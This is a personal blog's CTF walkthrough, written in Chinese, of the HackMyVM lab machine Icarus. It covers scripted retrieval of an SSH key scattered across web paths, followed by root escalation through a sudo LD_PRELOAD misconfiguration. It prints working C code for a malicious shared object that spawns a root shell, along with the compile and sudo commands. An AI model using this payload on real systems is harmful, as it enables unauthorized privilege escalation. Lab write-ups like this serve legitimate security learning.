Windy's little blog

一切生活中的杂七杂八, and I like CTF.

HackMyVm靶机Icarus的Walkthrough(批量读取网页,LD_PRELOAD漏洞)

    (靶机概要:编写简单的脚本批量读取网页,获得ssh的key,LD_PRELOAD漏洞的利用。)

     靶机下载地址是https://hackmyvm.eu/machines/machine.php?vm=Icarus。

    VirtualBox加载运行后扫描端口,开了22和80。

图片.png

    打开网页,就是一个登录页面,要求输入用户名和密码。先扫一下目录,发现扫出很多长度为1的目录。


图片.png


    显示一个长度不为1的目录看一下,就如下几个文件。


图片.png


    前面长度为1的网址有没有内容呢?用curl看一下,其实里面也有内容,就是一个字母。

图片.png


    把最长的那个a文件下载下来,发现类似一个目录。

图片.png


    到这里,感到作者的意图是按照a文件里的目录,把相关网址都串起来,看看里面有什么信息。但是文件很多,没法都是手动,写个python脚本自动处理一下。

import requests
result = ""
with open("a.txt") as fa:
    lines = fa.readlines()
    total = len(lines)
    count = 0
    for line in lines:
        url = f"http://192.168.56.31/{line.strip()}"        
        r = requests.get(url)
        r.encoding = 'utf-8'
        result += r.text
        count += 1
        print(f"Now getting:{count}/{total}",end="\r")
with open("key","w") as fk:
    fk.write(result)
print("\nAll done!")

    脚本执行完毕后,会在当前目录生成key文件。


图片.png


    打开key文件,发现最后是一个ssh密钥。将前面多余的部分删除,只留下密钥。

图片.png


    拿到密钥有两种处理,一种是直接用密钥登录,二是john破解。先登录一下试试。用户名目前没有什么信息,就用靶机名吧。果然,登录成功。

图片.png


    进入靶机后一番搜索,最后发现sudo里有LD_PRELOAD漏洞。详细信息可以在网上查找。

图片.png

    利用程序的代码如下:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
 unsetenv("LD_PRELOAD");
 setgid(0);
 setuid(0);
 system("/bin/sh");
}

    用下面的语句进行编译,生成shell.so。

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

    最后,在靶机执行如下代码,既可得到root权限。

sudo LD_PRELOAD=/tmp/shell.so id

 

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0